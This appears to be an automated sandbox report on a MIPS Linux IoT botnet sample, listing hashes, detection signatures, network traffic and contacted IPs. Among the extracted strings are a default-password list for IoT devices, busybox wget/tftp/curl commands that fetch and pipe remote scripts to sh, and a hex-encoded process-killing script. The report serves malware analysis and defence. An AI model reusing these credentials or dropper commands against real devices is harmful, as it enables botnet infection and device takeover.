Linux Analysis Report
la.bot.mipsel.elf

Overview

General Information

Sample name: la.bot.mipsel.elf
Analysis ID: 1542508
MD5: 9e30e23475097ace2083344378396444
SHA1: 679c2eacb52f9913e06f8f37fb0c5f99514d6dca
SHA256: b25f8267e2884ad03d4976ac2716ccc79fd744e8e9436a976e1da89311cce343
Tags: elfuser-abuse_ch
Infos:

Detection

Score: 52
Range: 0 - 100
Whitelisted: false

Signatures

Multi AV Scanner detection for submitted file
Connects to many ports of the same IP (likely port scanning)
Detected TCP or UDP traffic on non-standard ports
Enumerates processes within the "proc" file system
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Sample tries to kill a process (SIGKILL)
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

AV Detection
barindex
Multi AV Scanner detection for submitted file
Source: la.bot.mipsel.elf ReversingLabs: Detection: 31%
Found strings indicative of a multi-platform dropper
Source: la.bot.mipsel.elf String: ash|login|wget|curl|tftp|ntpdate|ftp
Source: la.bot.mipsel.elf String: '/proc//exe|ash|login|wget|curl|tftp|ntpdate|ftp/mountinfo/fd/dev/null|/dev/consolesocket|proc/usr/bin/usr/sbin/system/mnt/mtd/app/org/z/zbin/home/app/dvr/bin/duksan/userfs/mnt/app/usr/etc/dvr/main/usr/local/var/bin/tmp/sqfs/z/bin/dvr/mnt/mtd/zconf/gm/bin/home/process/var/challenge/usr/lib/lib/systemd//usr/lib/systemd/system/system/bin//mnt//home/helper/home/davinci/usr/libexec//sbin//bin//proc/net/tcp/proc/fd//proc/self/exe/. /proc/
Source: la.bot.mipsel.elf String: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORA/bin/busybox echo > .ri && sh .ri && cd .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/var//var/run//var/tmp//dev//dev/shm//etc//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63\x2F\x2A\3B""\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A\x20\x20\x23\x20\x53\x6B\x69\x70\x20\x6E\x6F\x6E\x2D""\x6E\x75\x6D\x65\x72\x69\x63\x20\x64\x69\x72\x65\x63\x74\x6F\x72\x69\x65\x73\x0A\x20\x20\x69\x66\x20\x21\x20\x5B\x20\x22\x24\x70\x69\x64\x22\x20\x2D\x65""\x71\x20\x22\x24\x70\x69\x64\x22\x20\x5D\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x63\x6F\x6E\x74""\x69\x6E\x75\x65\x0A\x20\x20\x66\x69\x0A\x0A\x20\x20\x23\x20\x47\x65\x74\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x6F\x66""\x20\x74\x68\x65\x20\x70\x72\x6F\x63\x65\x73\x73\x0A\x20\x20\x63\x6D\x64\x6C\x69\x6E\x65\x3D\x24\x28\x74\x72\x20\x27\x5C\x30\x27\x20\x27\x20\x27\x20\x3C""\x20\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x63\x6D\x64\x6C\x69\x6E\x65\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x23""\x20\x43\x68\x65\x63\x6B\x20\x69\x66\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x63\x6F\x6E\x74\x61\x69\x6E\x73\x20\x22\x64""\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x0A\x20\x20\x69\x66\x20\x65\x63\x68\x6F\x20\x22\x24\x63\x6D\x64\x6C\x69\x6E\x65\x22\x20\x7C\x20\x67\x72\x65\x70\x20\x2D""\x71\x20\x22\x64\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64""\x22\x0A\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4P

Networking
barindex
Connects to many ports of the same IP (likely port scanning)
Source: global traffic TCP traffic: 156.244.19.135 ports 61543,1,3,4,5,6
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.14:47302 -> 156.244.19.135:61543
Sample listens on a socket
Source: /tmp/la.bot.mipsel.elf (PID: 5508) Socket: 127.0.0.1:1234 Jump to behavior
Source: unknown TCP traffic detected without corresponding DNS query: 195.217.215.138
Source: unknown TCP traffic detected without corresponding DNS query: 195.217.215.138
Source: unknown TCP traffic detected without corresponding DNS query: 43.162.127.169
Source: unknown TCP traffic detected without corresponding DNS query: 182.84.223.197
Source: unknown TCP traffic detected without corresponding DNS query: 43.162.127.169
Source: unknown TCP traffic detected without corresponding DNS query: 17.169.58.239
Source: unknown TCP traffic detected without corresponding DNS query: 155.32.113.130
Source: unknown TCP traffic detected without corresponding DNS query: 182.84.223.197
Source: unknown TCP traffic detected without corresponding DNS query: 30.168.86.236
Source: unknown TCP traffic detected without corresponding DNS query: 17.169.58.239
Source: unknown TCP traffic detected without corresponding DNS query: 155.32.113.130
Source: unknown TCP traffic detected without corresponding DNS query: 30.168.86.236
Source: unknown TCP traffic detected without corresponding DNS query: 151.199.120.108
Source: unknown TCP traffic detected without corresponding DNS query: 30.168.86.236
Source: unknown TCP traffic detected without corresponding DNS query: 30.70.121.70
Source: unknown TCP traffic detected without corresponding DNS query: 83.106.54.246
Source: unknown TCP traffic detected without corresponding DNS query: 78.36.252.81
Source: unknown TCP traffic detected without corresponding DNS query: 151.199.120.108
Source: unknown TCP traffic detected without corresponding DNS query: 30.70.121.70
Source: unknown TCP traffic detected without corresponding DNS query: 83.106.54.246
Source: unknown TCP traffic detected without corresponding DNS query: 78.36.252.81
Source: unknown TCP traffic detected without corresponding DNS query: 30.70.121.70
Source: unknown TCP traffic detected without corresponding DNS query: 151.199.120.108
Source: unknown TCP traffic detected without corresponding DNS query: 87.100.38.56
Source: unknown TCP traffic detected without corresponding DNS query: 83.106.54.246
Source: unknown TCP traffic detected without corresponding DNS query: 78.36.252.81
Source: unknown TCP traffic detected without corresponding DNS query: 180.192.112.191
Source: unknown TCP traffic detected without corresponding DNS query: 50.113.100.6
Source: unknown TCP traffic detected without corresponding DNS query: 7.176.221.174
Source: unknown TCP traffic detected without corresponding DNS query: 87.100.38.56
Source: unknown TCP traffic detected without corresponding DNS query: 180.192.112.191
Source: unknown TCP traffic detected without corresponding DNS query: 209.83.253.1
Source: unknown TCP traffic detected without corresponding DNS query: 50.113.100.6
Source: unknown TCP traffic detected without corresponding DNS query: 61.206.188.210
Source: unknown TCP traffic detected without corresponding DNS query: 7.176.221.174
Source: unknown TCP traffic detected without corresponding DNS query: 126.200.241.43
Source: unknown TCP traffic detected without corresponding DNS query: 209.83.253.1
Source: unknown TCP traffic detected without corresponding DNS query: 180.192.112.191
Source: unknown TCP traffic detected without corresponding DNS query: 132.2.187.73
Source: unknown TCP traffic detected without corresponding DNS query: 91.199.176.229
Source: unknown TCP traffic detected without corresponding DNS query: 61.206.188.210
Source: unknown TCP traffic detected without corresponding DNS query: 50.113.100.6
Source: unknown TCP traffic detected without corresponding DNS query: 7.176.221.174
Source: unknown TCP traffic detected without corresponding DNS query: 177.144.209.184
Source: unknown TCP traffic detected without corresponding DNS query: 126.200.241.43
Source: unknown TCP traffic detected without corresponding DNS query: 132.2.187.73
Source: unknown TCP traffic detected without corresponding DNS query: 171.200.59.46
Source: unknown TCP traffic detected without corresponding DNS query: 54.33.20.4
Source: unknown TCP traffic detected without corresponding DNS query: 91.199.176.229
Source: unknown TCP traffic detected without corresponding DNS query: 209.83.253.1
Source: global traffic DNS traffic detected: DNS query: 21savage.dyn
Source: global traffic DNS traffic detected: DNS query: daisy.ubuntu.com
Source: la.bot.mipsel.elf String found in binary or memory: http:///curl.sh
Source: la.bot.mipsel.elf String found in binary or memory: http:///wget.sh
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Source: Initial sample String containing 'busybox' found: usage: busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample String containing 'busybox' found: /bin/busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox hostname FICORA
Source: Initial sample String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample String containing 'busybox' found: /wget.sh -O- | sh;/bin/busybox tftp -g
Source: Initial sample String containing 'busybox' found: -r tftp.sh -l- | sh;/bin/busybox ftpget
Source: Initial sample String containing 'busybox' found: /bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrep
Source: Initial sample String containing 'busybox' found: usage: busyboxincorrectinvalidbadwrongfaildeniederrorretryGET /dlr. HTTP/1.0
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne >> > upnp
Source: Initial sample String containing 'busybox' found: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORA/bin/busybox echo > .ri && sh .ri && cd .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/var//var/run//var
Sample has stripped symbol table
Source: ELF static info symbol of initial sample .symtab present: no
Sample tries to kill a process (SIGKILL)
Source: /tmp/la.bot.mipsel.elf (PID: 5510) SIGKILL sent: pid: 940, result: successful Jump to behavior
Source: classification engine Classification label: mal52.troj.linELF@0/0@3/0
Enumerates processes within the "proc" file system
Source: /tmp/la.bot.mipsel.elf (PID: 5510) File opened: /proc/110/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5510) File opened: /proc/111/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5510) File opened: /proc/112/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5510) File opened: /proc/113/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5510) File opened: /proc/234/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5510) File opened: /proc/114/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5510) File opened: /proc/235/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5510) File opened: /proc/115/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5510) File opened: /proc/116/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5510) File opened: /proc/117/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5510) File opened: /proc/118/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5510) File opened: /proc/119/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5510) File opened: /proc/10/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5510) File opened: /proc/917/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5510) File opened: /proc/11/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5510) File opened: /proc/12/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5510) File opened: /proc/13/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5510) File opened: /proc/14/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5510) File opened: /proc/15/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5510) File opened: /proc/16/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5510) File opened: /proc/17/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5510) File opened: /proc/18/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5510) File opened: /proc/19/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5510) File opened: /proc/240/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5510) File opened: /proc/120/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5510) File opened: /proc/121/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5510) File opened: /proc/242/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5510) File opened: /proc/1/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5510) File opened: /proc/122/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5510) File opened: /proc/243/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5510) File opened: /proc/2/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5510) File opened: /proc/123/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5510) File opened: /proc/244/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5510) File opened: /proc/3/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5510) File opened: /proc/124/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5510) File opened: /proc/245/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5510) File opened: /proc/125/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5510) File opened: /proc/4/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5510) File opened: /proc/246/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5510) File opened: /proc/126/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5510) File opened: /proc/5/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5510) File opened: /proc/247/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5510) File opened: /proc/127/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5510) File opened: /proc/6/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5510) File opened: /proc/248/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5510) File opened: /proc/128/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5510) File opened: /proc/7/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5510) File opened: /proc/249/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5510) File opened: /proc/8/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5510) File opened: /proc/129/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5510) File opened: /proc/800/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5510) File opened: /proc/9/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5510) File opened: /proc/801/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5510) File opened: /proc/803/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5510) File opened: /proc/20/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5510) File opened: /proc/806/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5510) File opened: /proc/21/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5510) File opened: /proc/807/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5510) File opened: /proc/928/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5510) File opened: /proc/22/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5510) File opened: /proc/23/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5510) File opened: /proc/24/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5510) File opened: /proc/25/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5510) File opened: /proc/26/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5510) File opened: /proc/27/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5510) File opened: /proc/28/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5510) File opened: /proc/29/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5510) File opened: /proc/490/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5510) File opened: /proc/250/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5510) File opened: /proc/130/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5510) File opened: /proc/251/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5510) File opened: /proc/131/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5510) File opened: /proc/252/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5510) File opened: /proc/132/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5510) File opened: /proc/253/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5510) File opened: /proc/254/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5510) File opened: /proc/255/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5510) File opened: /proc/135/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5510) File opened: /proc/256/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5510) File opened: /proc/257/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5510) File opened: /proc/378/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5510) File opened: /proc/258/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5510) File opened: /proc/259/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5510) File opened: /proc/30/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5510) File opened: /proc/35/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5510) File opened: /proc/260/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5510) File opened: /proc/261/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5510) File opened: /proc/262/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5510) File opened: /proc/142/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5510) File opened: /proc/263/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5510) File opened: /proc/264/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5510) File opened: /proc/265/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5510) File opened: /proc/145/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5510) File opened: /proc/266/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5510) File opened: /proc/267/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5510) File opened: /proc/268/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5510) File opened: /proc/269/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5510) File opened: /proc/940/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5510) File opened: /proc/270/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5510) File opened: /proc/271/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5510) File opened: /proc/272/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5510) File opened: /proc/273/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5510) File opened: /proc/274/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5510) File opened: /proc/275/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 5510) File opened: /proc/276/fd Jump to behavior
Uses the "uname" system call to query kernel version information (possible evasion)
Source: /tmp/la.bot.mipsel.elf (PID: 5508) Queries kernel information via 'uname': Jump to behavior
Source: la.bot.mipsel.elf, 5508.1.00007ffe9fe51000.00007ffe9fe72000.rw-.sdmp Binary or memory string: x86_64/usr/bin/qemu-mipsel/tmp/la.bot.mipsel.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/la.bot.mipsel.elf
Source: la.bot.mipsel.elf, 5508.1.0000560c34168000.0000560c3420f000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/mipsel
Source: la.bot.mipsel.elf, 5508.1.0000560c34168000.0000560c3420f000.rw-.sdmp Binary or memory string: V!/etc/qemu-binfmt/mipsel
Source: la.bot.mipsel.elf, 5508.1.00007ffe9fe51000.00007ffe9fe72000.rw-.sdmp Binary or memory string: /usr/bin/qemu-mipsel
windows-stand
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
189.76.171.36
 unknown Brazil
28358 INTERTELCOTELECOMUNICACOESMULTIMIDIALTDABR false
20.245.22.1
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
72.65.101.232
 unknown United States
13977 CTELCOUS false
15.82.52.213
 unknown United States
13979 ATT-IPFRUS false
141.233.177.84
 unknown United States
3128 BRUWS-AS3128US false
9.201.155.82
 unknown United States
3356 LEVEL3US false
75.238.15.122
 unknown United States
22394 CELLCOUS false
120.70.126.197
 unknown China
137695 CHINATELECOM-XINJIANG-WULUMUQI-MANCHINATELECOMXinjiangWul false
217.43.96.35
 unknown United Kingdom
2856 BT-UK-ASBTnetUKRegionalnetworkGB false
153.76.241.165
 unknown United States
14962 NCR-252US false
165.114.185.178
 unknown Netherlands
3527 NIH-NETUS false
174.139.68.183
 unknown United States
35908 VPLSNETUS false
179.174.211.221
 unknown Brazil
26599 TELEFONICABRASILSABR false
9.228.145.18
 unknown United States
3356 LEVEL3US false
174.26.218.37
 unknown United States
209 CENTURYLINK-US-LEGACY-QWESTUS false
61.14.50.3
 unknown Australia
3300 BTNL false
167.128.61.216
 unknown United States
25899 LSNETUS false
149.202.64.24
 unknown France
16276 OVHFR false
131.58.191.36
 unknown United States
386 AFCONC-BLOCK1-ASUS false
119.226.100.218
 unknown India
9583 SIFY-AS-INSifyLimitedIN false
97.225.12.13
 unknown United States
6167 CELLCO-PARTUS false
39.36.144.61
 unknown Pakistan
45595 PKTELECOM-AS-PKPakistanTelecomCompanyLimitedPK false
5.12.90.120
 unknown Romania
8708 RCS-RDS73-75DrStaicoviciRO false
29.148.167.170
 unknown United States
7922 COMCAST-7922US false
21.41.184.145
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
166.4.195.202
 unknown United States
4152 USDA-1US false
144.1.142.242
 unknown unknown
58541 CHINATELECOM-SHANDONG-QINGDAO-IDCQingdao266000CN false
148.0.25.69
 unknown Dominican Republic
6400 CompaniaDominicanadeTelefonosSADO false
169.156.34.163
 unknown United States
6189 EPFL-ASUS false
53.66.33.180
 unknown Germany
31399 DAIMLER-ASITIGNGlobalNetworkDE false
164.221.144.33
 unknown United States
5180 DNIC-ASBLK-05120-05376US false
201.147.42.239
 unknown Mexico
8151 UninetSAdeCVMX false
135.219.235.187
 unknown United States
797 AMERITECH-ASUS false
189.216.119.174
 unknown Mexico
28548 CablevisionSAdeCVMX false
129.99.129.47
 unknown United States
10343 AS10343US false
150.32.167.200
 unknown Japan 9991 SHUDO-UHiroshimaShudoUniversityJP false
64.198.5.120
 unknown United States
7029 WINDSTREAMUS false
15.167.245.122
 unknown United States
71 HP-INTERNET-ASUS false
76.17.0.4
 unknown United States
7922 COMCAST-7922US false
89.122.97.151
 unknown Romania
9050 RTDBucharestRomaniaRO false
125.221.59.86
 unknown China
4538 ERX-CERNET-BKBChinaEducationandResearchNetworkCenter false
98.8.4.66
 unknown United States
11351 TWC-11351-NORTHEASTUS false
7.3.201.164
 unknown United States
3356 LEVEL3US false
145.49.178.72
 unknown Netherlands
1103 SURFNET-NLSURFnetTheNetherlandsNL false
24.186.209.69
 unknown United States
6128 CABLE-NET-1US false
119.160.138.35
 unknown Brunei Darussalam
10094 UNN-BNUnifiedNationalNetworksBN false
148.55.233.188
 unknown United States
721 DNIC-ASBLK-00721-00726US false
12.126.128.233
 unknown United States
7018 ATT-INTERNET4US false
48.202.227.53
 unknown United States
2686 ATGS-MMD-ASUS false
137.10.87.153
 unknown United States
385 AFCONC-BLOCK1-ASUS false
86.254.157.188
 unknown France
3215 FranceTelecom-OrangeFR false
197.10.167.200
 unknown Tunisia
5438 ATI-TN false
80.92.245.189
 unknown Czech Republic
197029 LAM-ASCZ false
201.193.204.37
 unknown Costa Rica
11830 InstitutoCostarricensedeElectricidadyTelecomCR false
99.32.92.66
 unknown United States
7018 ATT-INTERNET4US false
128.252.23.236
 unknown United States
2552 WUSTL-ASNUS false
2.51.207.164
 unknown United Arab Emirates
5384 EMIRATES-INTERNETEmiratesInternetAE false
21.240.177.99
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
51.12.128.130
 unknown United Kingdom
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
170.188.244.95
 unknown United States
47090 SCLHS-47090US false
124.23.149.14
 unknown China
23771 SXBCTV-APSXBCTVInternetServiceProviderCN false
61.45.120.80
 unknown Japan 9595 XEPHIONNTT-MECorporationJP false
138.164.185.137
 unknown United States
721 DNIC-ASBLK-00721-00726US false
51.148.84.103
 unknown United Kingdom
13037 ZEN-ASZenInternet-UKGB false
143.187.94.67
 unknown United States
7905 SOONER-ASUS false
161.176.182.236
 unknown United States
10695 WAL-MARTUS false
5.6.81.136
 unknown Germany
6805 TDDE-ASN1DE false
207.11.145.26
 unknown United States
10967 HOMEDEPOTNETUS false
69.219.241.29
 unknown United States
7018 ATT-INTERNET4US false
3.232.100.182
 unknown United States
14618 AMAZON-AESUS false
78.165.175.184
 unknown Turkey
9121 TTNETTR false
214.25.48.14
 unknown United States
721 DNIC-ASBLK-00721-00726US false
85.62.33.139
 unknown Spain
12479 UNI2-ASES false
117.223.186.162
 unknown India
9829 BSNL-NIBNationalInternetBackboneIN false
155.8.227.108
 unknown United States
1491 DNIC-AS-01491US false
14.222.247.205
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
36.123.203.164
 unknown China
4847 CNIX-APChinaNetworksInter-ExchangeCN false
49.36.206.51
 unknown India
55836 RELIANCEJIO-INRelianceJioInfocommLimitedIN false
198.127.95.60
 unknown United States
291 ESNET-EASTUS false
128.26.248.173
 unknown United States
786 JANETJiscServicesLimitedGB false
155.32.113.130
 unknown New Zealand
24324 KORDIA-TRANSIT-AS-APKordiaLimitedNZ false
50.159.127.63
 unknown United States
7922 COMCAST-7922US false
176.51.230.78
 unknown Russian Federation
12389 ROSTELECOM-ASRU false
106.106.36.173
 unknown Taiwan; Republic of China (ROC)
131586 NCIC-IDC-TWNewCenturyInfoCommTechCoLtdTW false
26.20.233.214
 unknown United States
7922 COMCAST-7922US false
69.147.234.152
 unknown United States
15003 NOBIS-TECHUS false
4.107.180.145
 unknown United States
3356 LEVEL3US false
190.213.34.118
 unknown Trinidad and Tobago
27665 ColumbusCommunicationsTrinidadLimitedTT false
213.103.173.241
 unknown Sweden
